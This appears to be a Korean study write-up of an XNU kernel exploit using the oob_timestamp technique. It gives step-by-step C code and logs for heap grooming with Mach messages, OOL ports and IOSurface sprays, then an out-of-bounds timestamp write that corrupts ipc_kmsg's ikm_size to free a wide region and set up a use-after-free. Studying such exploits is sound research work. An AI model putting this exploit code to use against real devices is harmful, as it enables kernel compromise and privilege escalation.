struct IOAccelKernelCommand_CollectTimeStamp *cmd2 = (void *)((uint8_t *)cmd1 + cmd1->command.size);
cmd2->command.type = 2;
cmd2->command.size = 8;
return IOAccelCommandQueue2_submit_command_buffers(&submit_args.header, sizeof(submit_args));
}
...
struct IOAccelDeviceShmemData cmdbuf, seglist;
uint64_t command_buffer_shmem_sig = 0x4142434445464748;
uint64_t segment_list_shmem_sig = 0x5152535455565758;
ret = alloc_shmem_with_sig(96 MB, &cmdbuf, &seglist, command_buffer_shmem_sig, segment_list_shmem_sig);
if (ret) {
ERROR("Failed to allocate shared memory\n");
goto err;
}
시그니처를 통해 공유메모리가 각각 어느 주소에 위치한지 알아내기 위해 여러번 시행착오를 겪었다.
helper/find_shmem.c 파일의 find_shmem_in_kernel_[1, 2, 3, 4] 함수에서 확인할 수 있다.
4개의 아이디어를 생각해낸 끝에, 마지막 4번 방법으로 주소를 가져오는데 성공했다. (수행하는데 대략 10초 이상 걸림)
gIOKitPageableSpace_start에서gIOKitPageableSpace_end까지 매 +0x1000씩 더해 값을 읽었을때 우리의 시그니처가 있는지 확인하기gIOKitPageableSpace에 속한vm_map의next필드에 접근 및 순회하며map->start필드의 +0x1000 위치에 우리의 시그니처가 있는지 확인하기- 할당받은 유저레벨의 공유메모리 주소를 물리주소로 변환한다음, 커널 가상메모리 주소로 변환하기.
- 이전에 IOSurface를 활용하여 할당했던 82MB
dict_entry주소에서 어림잡아 값을 더한 찾을 베이스 주소에서 매 +0x1000씩 더해 값을 읽었을때 우리의 시그니처가 있는지 확인하기
1, 2번 방법으로는 0x4000과 같은 작은 크기로 공유메모리 할당했을시에는 쉽게 찾을 수 있었지만, 96MB 같은 방대한 크기의 경우 찾지 못했다.
3번 방법으로는 커널 주소와 유저레벨 주소 모두 서로 같은 물리주소로 향하지만, 가상 커널주소로 변환시 kernel map 범위에 속하지 않는다.
따라서 최후의 4번 방법으로, 82MB dict_entry 주소에서 어림잡아 값을 더해, 주소를 구하였다.
// Solution 4
// Bruteforcing...... sigh
void find_shmem_in_kernel_4(uint64_t *kva1, uint64_t *kva2, uint64_t command_buffer_shmem_sig, uint64_t segment_list_shmem_sig, uint64_t iosurface_sprayed_osdict_entry) {
uint64_t command_buffer_shmem_data_kva = 0;
uint64_t segment_list_shmem_data_kva = 0;
uint64_t kernel_alloc_start_maybe = 0;
uint64_t kernel_map = kread64(ksym(KSYMBOL_kernel_map));
if(iosurface_sprayed_osdict_entry) {
kernel_alloc_start_maybe = (iosurface_sprayed_osdict_entry & 0xffffffffff000000) + 0x1000000;
}
else {
uint64_t kernel_map_start = kread64(kernel_map+0x20); //0x20 = start
kernel_alloc_start_maybe = kernel_map_start + 0x30000000;
}
int try_count = 0;
while(1) {
uint64_t current_kva = kernel_alloc_start_maybe + try_count * 0x1000;
//check if valid readable kernel address to prevent kernel panic
uint64_t current_pa = kvtophys(current_kva);
if(current_pa == 0) continue;
if(physread64(current_pa) == command_buffer_shmem_sig) {
command_buffer_shmem_data_kva = current_kva-0x1000;
*kva1 = command_buffer_shmem_data_kva;
}
if(physread64(current_pa) == segment_list_shmem_sig) {
segment_list_shmem_data_kva = current_kva-0x1000;
*kva2 = segment_list_shmem_data_kva;
}
if(segment_list_shmem_data_kva && command_buffer_shmem_data_kva) {
INFO("try_count: %d\n", try_count);
break;
}
if(try_count > 200000) {
ERROR("failed to find where shmem allocated in kernel\n");
break;
}
try_count++;
}
...
#if ENABLE_HELPER
//helper; find our 96MB shmem data
uint64_t command_buffer_shmem_data_kva, segment_list_shmem_data_kva = 0;
find_shmem_in_kernel_4(&command_buffer_shmem_data_kva, &segment_list_shmem_data_kva, command_buffer_shmem_sig, segment_list_shmem_sig, osdict_entry);
SUCCESS("command_buffer_shmem_data_kva: 0x%llx\n", command_buffer_shmem_data_kva);
SUCCESS("segment_list_shmem_data_kva: 0x%llx\n", segment_list_shmem_data_kva);
//
#endif
실행 결과, 공유 메모리가 할당된 주소는 다음과 같게 나온다.
[*] try_count: 42961
[+] command_buffer_shmem_data_kva: 0xffffffe0d57d0000
[+] segment_list_shmem_data_kva: 0xffffffe0cf7d0000

3. 추후 손상시킬 ipc_kmsg 할당
이제 8페이지짜리 ipc_kmsg를 하나 할당하고 보관용으로 corrupted_kmsg_port에 저장한다. 해당 ipc_kmsg는 커맨드 버퍼 페이저블 맵 바로 뒤에 위치해야한다.
ipc_kmsg를 할당하기 위해 send_message 함수를 호출하는데,
해당 함수는 메시지를 받을 목적지 포트를 지정하고, 송신권한인 send right, 그리고 메시지 크기 등 설정을 포함하고 있다.
kern_return_t send_message(mach_port_t destination, void *buffer, mach_msg_size_t size) {
mach_msg_size_t msg_size = sizeof(struct simple_msg) + size;
struct simple_msg *msg = malloc(msg_size);
memset(msg, 0, sizeof(struct simple_msg));
msg->hdr.msgh_remote_port = destination;
msg->hdr.msgh_local_port = MACH_PORT_NULL;
msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
msg->hdr.msgh_size = msg_size;
memcpy(&msg->buf[0], buffer, size);
kern_return_t ret = mach_msg(&msg->hdr, MACH_SEND_MSG, msg_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if (ret) {
printf("[-] failed to send message\n");
mach_port_destroy(mach_task_self(), destination);
free(msg);
return ret;
}
free(msg);
return KERN_SUCCESS;
}
...
// port which we will later corrupt. should be exactly after command buffer
mach_port_t corrupted_kmsg_port = POP_PORT();
ret = send_message(corrupted_kmsg_port, data, (uint32_t)message_size_for_kalloc_size(8 * pagesize) - sizeof(struct simple_msg));
if (ret) {
printf("[-] Failed to send message\n");
goto err;
}
ipc_kmsg 할당 주소를 구하는 방법은 간단하다.
이전에 우리는 IOSurface를 활용한 적재된 데이터를 확인하기 위해 ipc_port 구조체에서 kdata.kobject 필드에 접근했었다.
마찬가지로, kdata.kobject 필드에 ikmq_base 오프셋을 더하면 ipc_kmsg 주소를 구할 수 있다.
00000000 struct ipc_port_0 // sizeof=0xA8
00000000 {
00000000 ipc_object ip_object;
00000010 ipc_mqueue ip_messages
...
00000000 struct ipc_mqueue // sizeof=0x50
00000000 { // XREF: ipc_port_0/r
00000000 // ipc_port_1/r ...
00000000 ipc_mqueue::$2E0228C480B494B3768A87C5A9B2CB97 data;
00000048 ipc_mqueue::$60FD45BA8CAC1DB02FF64F7437356E71;
00000050 };
00000000 union ipc_mqueue::$2E0228C480B494B3768A87C5A9B2CB97 // sizeof=0x48
00000000 { // XREF: ipc_mqueue/r
00000000 ipc_mqueue::$2E0228C480B494B3768A87C5A9B2CB97::$C897FC1EFAC1BB0E6F68B660AC1584BD port;
00000000 ipc_mqueue::$2E0228C480B494B3768A87C5A9B2CB97::$F200E06D1AE0F2D5875A47A59DB37CDA pset;
00000000 };
00000000 struct __attribute__((aligned(8))) ipc_mqueue::$2E0228C480B494B3768A87C5A9B2CB97::$C897FC1EFAC1BB0E6F68B660AC1584BD // sizeof=0x48
00000000 { // XREF: ipc_mqueue::$2E0228C480B494B3768A87C5A9B2CB97/r
00000000 waitq_0 waitq;
00000030 ipc_kmsg_queue messages;
...
00000000 struct ipc_kmsg_queue // sizeof=0x8
00000000 { // XREF: ipc_mqueue::$2E0228C480B494B3768A87C5A9B2CB97::$C897FC1EFAC1BB0E6F68B660AC1584BD/r
00000000 // thread_0/r ...
00000000 ipc_kmsg *ikmq_base;
00000008 };
코드로 구현하면 아래와 같고,
#if ENABLE_HELPER
//helper; obtain struct ipc_kmsg's addr
uint64_t ikmq_base = kread64(find_port(corrupted_kmsg_port) + off_ipc_port_ikmq_base);
uint64_t ipc_kmsg_addr = ikmq_base;
INFO("struct ipc_kmsg(port=0x%x) = 0x%llx\n", corrupted_kmsg_port, ipc_kmsg_addr);
//
#endif
실행 결과, 다음과 같이 특정주소에 ipc_kmsg가 위치하게 된다.
[*] struct ipc_kmsg(port=0x2303) = 0xffffffe0db7d0000

4. 2번째의 ipc_kmsg 할당
3번 과정과 같다.
8페이지짜리 ipc_kmsg를 하나 할당하고 보관용으로 placeholder_message_port에 저장한다. 해당 ipc_kmsg는 첫번째로 할당된 ipc_kmsg 바로 뒤에 위치해야한다.
지금은 이처럼 할당된 상태로 유지되겠지만, 나중에는 해제된 뒤 제어된 데이터로 다시 할당되어 UAF를 발생시키기 위해 만들어둔 코드인것 같다.
// this is a placeholder, we need it allocated for now but later it'll be freed and allocated with controlled data which will be UAFd
mach_port_t placeholder_message_port = POP_PORT();
ret = send_message(placeholder_message_port, data, (uint32_t)message_size_for_kalloc_size(8 * pagesize) - sizeof(struct simple_msg));
if (ret) {
printf("[-] Failed to send message\n");
goto err;
}
다음과 같이 특정주소에 **2번째의 ipc_kmsg**가 위치하게 된다.
[*] struct ipc_kmsg 2(port=0x2203) = 0xffffffe0db7f0000

5. OOL 포트 메시지 할당
oob_timestamp 주석에는 다음과 같은 내용이 들어있다.
8페이지짜리 OOL(out-of-line) 포트 디스크립터 배열을 생성합니다.
이상적으로는 여러 개의 out-of-line 포트 배열을 할당하는 것이 좋지만, 이 배열들이 kalloc()으로 할당되므로 KMA_ATOMIC 플래그가 설정된다. 따라서 부분적으로만 해제될 수 없습니다.
즉, 추가 배열을 할당할 때마다 최소 해제 크기가 증가하며, 더 많은 kfree() 버퍼 메모리를 할당해야 한다는 의미가 됩니다.
(7 * pagesize) / sizeof(uint64_t)에 1을 더하여 ool_port_count를 7페이지 넘게끔 조정함으로써, 8페이지짜리로 OOL 포트 디스크립터 배열을 생성한다.
sock port 2 익스플로잇에서의 OOL 포트 스프레이 과정과 비슷하게
send_ool_port 함수는 메시지가 전송(MACH_SEND_MSG) 되지만 수신되지는 않는다는 점을 이용하여 메시지의 대상 포트가 파괴되기 전까지는 메시지가 커널 공간에 남아 있도록 만든다.
하지만 target_port가 MACH_PORT_NULL로 되어있기에
사용자 모드 Task Port가 커널 모드 Task Port의 주소로 변환되지는 않아서,
커널에서 저장되는 최종 메시지 내용은 NULL로 채워진다.
할당된 해당 OOL 포트 배열 역시, 추후 UAF될 전망이다.
int send_ool_ports(mach_port_t where, mach_port_t target_port, int count, int disposition) {
kern_return_t ret;
mach_port_t* ports = malloc(sizeof(mach_port_t) * count);
for (int i = 0; i < count; i++) {
ports[i] = target_port;
}
struct ool_msg* msg = (struct ool_msg*)calloc(1, sizeof(struct ool_msg));
msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
msg->hdr.msgh_size = (mach_msg_size_t)sizeof(struct ool_msg);
msg->hdr.msgh_remote_port = where;
msg->hdr.msgh_local_port = MACH_PORT_NULL;
msg->hdr.msgh_id = 0x41414141;
msg->body.msgh_descriptor_count = 1;
msg->ool_ports.address = ports;
msg->ool_ports.count = count;
msg->ool_ports.deallocate = 0;
msg->ool_ports.disposition = disposition;
msg->ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
msg->ool_ports.copy = MACH_MSG_PHYSICAL_COPY;
ret = mach_msg(&msg->hdr, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, msg->hdr.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
free(msg);
free(ports);
if (ret) {
printf("[-] Failed to send OOL message: 0x%x (%s)\n", ret, mach_error_string(ret));
return KERN_FAILURE;
}
return 0;
}
...
// allocate ool buffer which we'll also UAF
mach_port_t ool_message_port = POP_PORT();
int ool_ports_count = (7 * pagesize) / sizeof(uint64_t) + 1;
ret = send_ool_ports(ool_message_port, MACH_PORT_NULL, ool_ports_count, MACH_MSG_TYPE_COPY_SEND);
if (ret) {
printf("[-] Failed to send ool ports message\n");
goto err;
}
OOL ports 주소를 찾는법은 다음과 같다.
uint64_t find_oolports_from_port(mach_port_name_t port) {
uint64_t port_kaddr = find_port(port);
//https://github.com/wh1te4ever/xnu_1day_practice/blob/main/CVE-2019-8605/dangling_kptr_reuse/ool.c#L62
uint32_t off_ipc_port_ikmq_base = 0x40;
uint64_t ikmq_base = kread64(port_kaddr + off_ipc_port_ikmq_base);
// INFO("ikmq_base: 0x%llx\n", ikmq_base);
uint32_t off_ipc_kmsg_ikm_header = 0x18; // p/x offsetof(struct ipc_kmsg, ikm_header)
uint64_t ikm_header = kread64(ikmq_base+off_ipc_kmsg_ikm_header);
uint64_t off_mach_msg_ool_ports_desc_address = 0x24; //?
return kread64(ikm_header + off_mach_msg_ool_ports_desc_address);
}
...
#if ENABLE_HELPER
//helper; obtain ool ports addr
uint64_t oolports_kptr = find_oolports_from_port(ool_message_port);
INFO("ool_message_port(port=0x%x)'s msgdata_kptr = 0x%llx\n", ool_message_port, oolports_kptr);
// khexdump(kread64(kmsgdata_kptr+4), 0x1000);
// getchar();
//
#endif
아래와 같이 OOL ports가 특정주소에 위치하게 된다.
[*] ool_message_port(port=0x1d03)'s msgdata_kptr = 0xffffffe0db810000

6. (1번 과정에서했던) IOSurface를 활용하여 할당된 82MB 커널메모리 해제
IOSurface에서 제공하는 메소드인 IOSurfaceRootUserClient::remove_value 를 이용하여 1번 과정에서 할당시켰던 82M 크기의 데이터를 해제시킨다.
이렇게 하면, 이후 스프레이를 하는데에 XML 데이터 블롭을 매핑할 수 있는 hole이 생기게 된다.
/*
* IOSurface_remove_value
*
* Description:
* A wrapper around IOSurfaceRootUserClient::remove_value().
*/
kern_return_t
IOSurface_remove_value(const struct IOSurfaceValueArgs *args, size_t args_size) {
struct IOSurfaceValueResultArgs result;
size_t result_size = sizeof(result);
kern_return_t kr = IOConnectCallMethod(
IOSurfaceRootUserClient,
11, // remove_value
NULL, 0,
args, args_size,
NULL, NULL,
&result, &result_size);
if (kr != KERN_SUCCESS) {
ERROR("failed to %s value in %s: 0x%x", "remove", "IOSurface", kr);
}
return kr;
}
...
int IOSurface_remove_property(uint32_t key) {
uint32_t argsSz = sizeof(struct IOSurfaceValueArgs) + 2 * sizeof(uint32_t);
struct IOSurfaceValueArgs *args = malloc(argsSz);
bzero(args, argsSz);
args->surface_id = IOSurface_id;
args->xml[0] = key;
args->xml[1] = 0;
int ret = IOSurface_remove_value(args, 16);
free(args);
return ret;
}
...
// free huge allocation
ret = IOSurface_remove_property(huge_kalloc_key);
if (ret) {
printf("[-] Failed to remove IOSurface property\n");
goto err;
}

7. IOSurface를 활용한 8페이지 크기의 kfree_buffer 할당
추후 “vm_map_delete(…): hole after %p” 패닉이 발생하지 않도록 하기 위해서는
OOL 포트 배열 이후의 80MB(=0x5000000 바이트)가 반드시 할당되어 있어야 한다.
static kern_return_t
vm_map_delete(
vm_map_t map,
vm_map_offset_t start,
vm_map_offset_t end,
int flags,
vm_map_t zap_map)
{
vm_map_entry_t entry, next;
struct vm_map_entry *first_entry, tmp_entry;
vm_map_offset_t s;
vm_object_t object;
boolean_t need_wakeup;
unsigned int last_timestamp = ~0; /* unlikely value */
int interruptible;
vm_map_offset_t gap_start;
vm_map_offset_t save_start = start;
vm_map_offset_t save_end = end;
const vm_map_offset_t FIND_GAP = 1; /* a not page aligned value */
const vm_map_offset_t GAPS_OK = 2; /* a different not page aligned value */
/*
* Step through all entries in this region
*/
s = entry->vme_start;
while ((entry != vm_map_to_entry(map)) && (s < end)) {
...
next = entry->vme_next;
if (map->pmap == kernel_pmap &&
map->map_refcnt != 0 &&
entry->vme_end < end &&
(next == vm_map_to_entry(map) ||
next->vme_start != entry->vme_end)) {
panic("vm_map_delete(%p,0x%llx,0x%llx): "
"hole after %p at 0x%llx\n",
map,
(uint64_t)start,
(uint64_t)end,
entry,
(uint64_t)entry->vme_end);
}
...
또한 이 메모리는 kalloc()으로 할당할 수 없다.
kalloc()은 KMA_ATOMIC 플래그를 설정하는데, 이는 손상된 ipc_kmsg를 해제할 때 발생할 수 있는 것처럼 부분적으로 해제될 수 없음을 의미하기 때문이다.
따라서 IOSurface를 이용하여 내부적으로 kmem_alloc()을 호출하여 스프레이를 진행한다.
총 count=640번 size=80MB씩 0x42…로 채워진 버퍼들로 스프레이시킨다.
그러면, 640번 중 한번이 ool ports 다음 주소에 위치하게 될것이다.
int IOSurface_kmem_alloc_spray(void *data, uint32_t size, int count, uint32_t kalloc_key) {
if (size < pagesize) {
printf("[-][IOSurface] Size too small for kmem_alloc\n");
return KERN_FAILURE;
}
if (size > 0x00ffffff) {
printf("[-][IOSurface] Size too big for OSUnserializeBinary\n");
return KERN_FAILURE;
}
if (count > 0x00ffffff) {
printf("[-][IOSurface] Size too big for OSUnserializeBinary\n");
return KERN_FAILURE;
}
size_t args_size = sizeof(struct IOSurfaceValueArgs) + count * (((size + 3)/4) * 4) + 6 * 4 + count * 4;
struct IOSurfaceValueArgs *args = calloc(1, args_size);
args->surface_id = IOSurface_id;
int i = 0;
args->xml[i++] = kOSSerializeBinarySignature; //<kOSSerializeBinarySignature />
args->xml[i++] = kOSSerializeArray | 2 | kOSSerializeEndCollection; //<array capacity="2">
args->xml[i++] = kOSSerializeArray | count; //<array capacity="count">
for (int c = 0; c < count; c++) {
args->xml[i++] = kOSSerializeData | size | ((c == count - 1) ? kOSSerializeEndCollection : 0); //<data length="size">
memcpy(&args->xml[i], data, size); //...data...
i += (size + 3)/4; //</data>
}
args->xml[i++] = kOSSerializeSymbol | 5 | kOSSerializeEndCollection; //<sym len="5">
args->xml[i++] = kalloc_key; //key</sym></array>
args->xml[i++] = 0; //Null-terminate
// <kOSSerializeBinarySignature />
// <kOSSerializeArray>2</kOSSerializeArray>
// <kOSSerializeArray capacity=${count}>
// <kOSSerializeData length=${size}>${data}</kOSSerializeData>
// ...
// </kOSSerializeArray>
// <kOSSerializeSymbol length=5>
// ${kalloc_key}
// </kOSSerializeSymbol>
// 0 // Null-terminate
kern_return_t ret = IOSurface_set_value(args, args_size);
free(args);
return ret;
}
...
void *spray_buffer = ((uint8_t *) cmdbuf.data) + pagesize;
uint32_t kfree_buffer_key = transpose(property_index++);
memset(spray_buffer, 0x42, 8 * pagesize); // we'll need later in clean up to check if memory is still allocated
ret = IOSurface_kmem_alloc_spray(spray_buffer, 8 * pagesize, 80 MB / (8 * pagesize), kfree_buffer_key);
if (ret) {
printf("[-] Failed to spray\n");
goto err;
}

마찬가지로, IOSurface를 활용하여 적재된 데이터는 어느 주소에 위치해있는지 어떻게 확인할 수 있을까?
1번 과정에서 주소를 구헀던것처럼 크게 다르지 않다.
dict->items[i].value 은 OSDictionary이거나 OSArray 등 어떤 타입이든지 될 수 있다.
여기서는 args->xml[i++] = kOSSerializeArray | count; 코드 처럼 count와 함께 kOSSerializeArray를 선언했기 때문에 OSArray 구조체를 살펴보면 된다.
00000000 struct __cppobj OSArray : OSCollection // sizeof=0x28
00000000 {
00000014 unsigned int count;
00000018 unsigned int capacity;
0000001C unsigned int capacityIncrement;
00000020 OSArray::ArrayPtrType *array;
00000028 };
00000008 typedef const OSMetaClassBase *OSArray::ArrayPtrType;
00000000 struct __cppobj OSData : OSObject // sizeof=0x28
00000000 {
0000000C unsigned int length;
00000010 unsigned int capacity;
00000014 unsigned int capacityIncrement;
00000018 void *data;
00000020 OSData::ExpansionData *reserved;
00000028 };
실제로 ool ports 다음 주소에 위치하는지 확인하기 위해, 아래코드를 구현하였다.
우리가 스프레이했던 osarray_count가 일치하면, 해당 count만큼 순회하면서 0x42… 값들로 스프레이된 곳을 찾기 위해 OSData 구조체의 data 필드를 읽어낸다.
전에도 말했다시피 스프레이 카운트가 640번 중 어느 순간부터는 ool ports 다음 주소에 위치할 것이고, 높은 주소에 분명 위치할 것이다.
읽어낸 주소가 ool ports 할당 주소보다 높은 주소에 위치한지 확인한다.
#if ENABLE_HELPER
dict = kernel_fetch_dict(userspaceValueDicts);
uint64_t kfree_buffer_addr = 0;
for (int i = 0; i < dict->count; i++) {
if(dict->items[i].value) {
uint32_t osarray_count = kread32(dict->items[i].value + off_osarray_count);
uint32_t osarray_capacity = kread32(dict->items[i].value + off_osarray_capacity);
uint64_t osarray_array = kread64(dict->items[i].value + off_osarray_array);
if(osarray_count == (80 MB / (8 * pagesize))) {
SUCCESS("Found our 2nd sprayed IOSurface data!\n");
// INFO("osarray_count = 0x%x, osarray_capacity = 0x%x\n", osarray_capacity, osarray_capacity);
for(uint32_t j = 0; j < osarray_count; j++) {
uint64_t osdata_in_osarray = OSArray_objectAtIndex(dict->items[i].value, j);
uint64_t kbuffer = OSData_buffer(osdata_in_osarray);
// printf("osdata_in_osarray = 0x%llx\n", osdata_in_osarray);
// printf("osdata_kbuffer(OSArray[%u]) = 0x%llx\n", j, kbuffer);
if(oolports_kptr < kbuffer) {
kfree_buffer_addr = kbuffer;
break;
}
}
}
}
}

8. ipc_kmsg2 할당 해제
mach_port_destroy(mach_task_self(), placeholder_message_port);

9. 해제된 ipc_kmsg2 공간에 8페이지 크기의 spray_buffer 할당
7번 과정에서 진행했던 것과 동일하게 수행해준다.
uint32_t spray_buffer_key = transpose(property_index++);
ret = IOSurface_kmem_alloc_spray(spray_buffer, 8 * pagesize, 80 MB / (8 * pagesize), spray_buffer_key);
if (ret) {
printf("[-] Failed to spray\n");
goto err;
}
- IOSurface를 활용하여 할당된
spray_buffer주소를 구하는 코드
#if ENABLE_HELPER
dict = kernel_fetch_dict(userspaceValueDicts);
uint64_t spray_buffer_addr = 0;
for (int i = 0; i < dict->count; i++) {
if(dict->items[i].value) {
uint32_t osarray_count = kread32(dict->items[i].value + 0x14); // 0x14 = p/x offsetof(OSArray, count)
uint32_t osarray_capacity = kread32(dict->items[i].value + 0x18); // 0x18 = p/x offsetof(OSArray, capacity)
uint64_t osarray_array = kread64(dict->items[i].value + 0x20); // 0x20 = p/x offsetof(OSArray, array)
if(osarray_count == (80 MB / (8 * pagesize)) && i == 2) {
SUCCESS("Found our 3rd sprayed IOSurface data!\n");
INFO("osarray_count = 0x%x, osarray_capacity = 0x%x\n", osarray_capacity, osarray_capacity);
for(uint32_t j = 0; j < osarray_count; j++) {
uint64_t osdata_in_osarray = OSArray_objectAtIndex(dict->items[i].value, j);
uint64_t kbuffer = OSData_buffer(osdata_in_osarray);
// printf("osdata_in_osarray = 0x%llx\n", osdata_in_osarray);
// printf("osdata_kbuffer(OSArray[%u]) = 0x%llx\n", j, kbuffer);
if(ipc_kmsg_addr < kbuffer && kbuffer < oolports_kptr) {
spray_buffer_addr = kbuffer;
break;
}
}
// spray_buffer_addr = kbuffer;
}
}
}
printf("\n\n=================== Overall Info ===================\n");
printf("seglist = 0x%llx\n", segment_list_shmem_data_kva);
printf("cmdbuf = 0x%llx\n", command_buffer_shmem_data_kva);
printf("ipc_kmsg = 0x%llx\n", ipc_kmsg_addr);
printf("ipc_kmsg2(FREED) = 0x%llx\n", ipc_kmsg2_addr);
printf("[*] spray_buffer = 0x%llx\n", spray_buffer_addr);
printf("oolports = 0x%llx\n", oolports_kptr);
printf("kfree_buffer = 0x%llx\n", kfree_buffer_addr);
printf("====================================================\n\n");
INFO("spinning here...\n");
getchar();
#endif
// now:
// +------------------+------------------+-----------------+--------------+-----------+--------------+
// | segment list | command buffer | struct ipc_kmsg | spray_buffer | ool_ports | kfree_buffer |
// +------------------+------------------+-----------------+--------------+-----------+--------------+
//
확인시 spray_buffer 주소는 할당해제된 ipc_kmsg2 주소와 동일하다.
=================== Overall Info ===================
seglist = 0xffffffe0cf7d0000
cmdbuf = 0xffffffe0d57d0000
ipc_kmsg = 0xffffffe0db7d0000
ipc_kmsg2(FREED) = 0xffffffe0db7f0000
[*] spray_buffer = 0xffffffe0db7f0000
oolports = 0xffffffe0db810000
kfree_buffer = 0xffffffe0db830000
====================================================

10. ipc_kmsg의 ikm_size필드를 손상시키고, 훨씬 더 넓은 범위로 free시키기
- OOB Write 취약점으로 command buffer 다음 영역인
ipc_kmsg영역의ikm_size필드를 손상시킬 수 있음. ikm_size필드를 조정함으로써ipc_kmsg를 할당해제시킬 때, 훨씬 더 넓은 범위로 free시킬 수 있음.ipc_kmsg영역의 손상시킨ikm_size필드는mach_absolute_time리턴값으로 덮힘.mach_absolute_time함수는 틱 단위로 단조적으로 증가하는(임의의 시점에서 시작하는) 시계의 현재 값을 반환한다. (시스템이 절전(슬립) 상태일 동안에는 증가하지 않음)- 우리는 적어도 ool ports 영역까지는 free시켜야 하므로, 보통 kfree_buffer 일부 영역까지 free시켜야 됨.
int overflow_n_bytes(uint32_t buffer_size, int n, struct IOAccelDeviceShmemData *cmdbuf, struct IOAccelDeviceShmemData *seglist) {
if (n > 8 || n < 0) {
printf("[-] Can't overflow: 0 <= n <= 8\n");
return -1;
}
submit_args.header.count = 1;
submit_args.command.command_buffer_shmem_id = cmdbuf->shmem_id;
submit_args.command.segment_list_shmem_id = seglist->shmem_id;
struct IOAccelSegmentListHeader *slh = seglist->data;
slh->length = 0x100;
slh->segment_count = 1;
struct IOAccelSegmentResourceListHeader *srlh = (void *)(slh + 1);
srlh->kernel_commands_start_offset = 0;
srlh->kernel_commands_end_offset = buffer_size;
// this is just a filler for the first buffer_size - n bytes, timestamp written in off_timestamp = 8
struct IOAccelKernelCommand_CollectTimeStamp *cmd1 = cmdbuf->data;
cmd1->command.type = 2;
cmd1->command.size = (uint32_t)buffer_size - 16 + n;
// put command 2 after command 1, so now timestamp written in cmd1->command.size + off_timestamp (8) = buffer_size - 8 + n <= n bytes written OOB!
struct IOAccelKernelCommand_CollectTimeStamp *cmd2 = (void *)((uint8_t *)cmd1 + cmd1->command.size);
cmd2->command.type = 2;
cmd2->command.size = 8;
return IOAccelCommandQueue2_submit_command_buffers(&submit_args.header, sizeof(submit_args));
}
...
size_t minimum_corrupted_size = 3 * (8 * pagesize) - 0x58; // 0x5ffa8 on 16K and 0x17fa8 on 4K
retry:;
int overflow_size = 0;
uint64_t ts = mach_absolute_time();
if (minimum_corrupted_size < ts && ts <= ((minimum_corrupted_size << 8) | 0xff)) {
overflow_size = 8;
}
else if (((minimum_corrupted_size << 8) | 0xff) < ts && ts <= ((minimum_corrupted_size << 16) | 0xffff)) {
overflow_size = 7;
}
else if (((minimum_corrupted_size << 16) | 0xffff) < ts && ts <= ((minimum_corrupted_size << 24) | 0xffffff)) {
overflow_size = 6;
}
else if (((minimum_corrupted_size << 24) | 0xffffff) < ts && ts <= ((minimum_corrupted_size << 32) | 0xffffffff)) {
overflow_size = 5;
}
else if (((minimum_corrupted_size << 32) | 0xffffffff) < ts && ts <= ((minimum_corrupted_size << 36) | 0xffffffffff)) {
overflow_size = 4;
}
else if (((minimum_corrupted_size << 36) | 0xffffffffff) < ts && ts <= ((minimum_corrupted_size << 40) | 0xffffffffffff)) {
overflow_size = 3;
}
uint32_t ipc_kmsg_size = (uint32_t) (ts >> (8 * (8 - overflow_size)));
if (ipc_kmsg_size < (minimum_corrupted_size + 1) || ipc_kmsg_size > 0x0400a8ff) {
printf("[-] Probably won't work with this timestamp, retrying...\n");
usleep(100);
goto retry;
}
INFO("ts for corrupting ipc_kmsg's ikm_size = 0x%llx\n", ts);
#if ENABLE_HELPER
uint32_t ikm_size_orig = kread32(ipc_kmsg_addr);
INFO("Original ipc_kmsg's ikm_size: 0x%x\n", ikm_size_orig);
#endif
printf("[*] Triggering bug with %d bytes\n", overflow_size);
overflow_n_bytes(96 MB, overflow_size, &cmdbuf, &seglist);
printf("[*] Corruption worked?\n");
#if ENABLE_HELPER
uint32_t ikm_size_corrupted = kread32(ipc_kmsg_addr);
INFO("Corrupted ipc_kmsg's ikm_size: 0x%x\n", ikm_size_corrupted);
mach_port_destroy(mach_task_self(), corrupted_kmsg_port);
printf("[*] Freed kmsg\n");
INFO("spinning here...\n");
getchar();
#endif
- 결과를 살펴보면,
ipc_kmsg의 원래ikm_size값은 0x1ffa8 (0x20000 – 0x58 = 0x1ffa8)였으나,ikm_size값이mach_time_absolute타임스탬프 값으로 덮혀 손상됨. - 덮어질 수 있는
ikm_size값은 매 상황마다 다름. - 여기서는
ikm_size값이 0x6e2835로 덮어짐 → 따라서ipc_kmsgfree시에 0x6e288d (0x6e2835 + 0x58 = 0x6e288d) 크기만큼 할당해제됨. - 최종적으로,
ipc_kmsg,spray_buffer,ool ports들이 free될뿐만 아니라, 스프레이된 OSArray 타입인 8페이지 크기로 구성된 여러kfree_buffer들 중 일부가 free됨.
=================== Overall Info ===================
seglist = 0xffffffe0cfba4000
cmdbuf = 0xffffffe0d5ba4000
ipc_kmsg = 0xffffffe0dbba4000
ipc_kmsg2(FREED) = 0xffffffe0dbbc4000
[*] spray_buffer = 0xffffffe0dbbc4000
oolports = 0xffffffe0dbbe4000
kfree_buffer = 0xffffffe0dbc04000
====================================================
[*] ts for corrupting ipc_kmsg's ikm_size = 0x6e282fa2
[*] Original ipc_kmsg's ikm_size: 0x1ffa8
[*] Triggering bug with 7 bytes
[*] Corruption worked?
[*] Corrupted ipc_kmsg's ikm_size: 0x6e2835
[*] Freed kmsg
[*] spinning here...
현재 색칠된 부분이 모두 할당해제된 영역이라고 볼 수 있음.
여러 kfree_buffer들 중 일부가 free됨.

11. 할당해제된 영역에 ipc_kmsg를 1024번 스프레이하기
- 이전에 할당시키고 해제시킨
ipc_kmsg,spray_buffer,ool ports등 3곳이 차지하는 크기가 전부 8페이지 정도 였음. - 8페이지 크기에 달하는
ipc_kmsg를 1024번 스프레이함. - 그러면, 할당해제된 3곳에
ipc_kmsg들이 배치하게됨.
kern_return_t send_message(mach_port_t destination, void *buffer, mach_msg_size_t size) {
mach_msg_size_t msg_size = sizeof(struct simple_msg) + size;
struct simple_msg *msg = malloc(msg_size);
memset(msg, 0, sizeof(struct simple_msg));
msg->hdr.msgh_remote_port = destination;
msg->hdr.msgh_local_port = MACH_PORT_NULL;
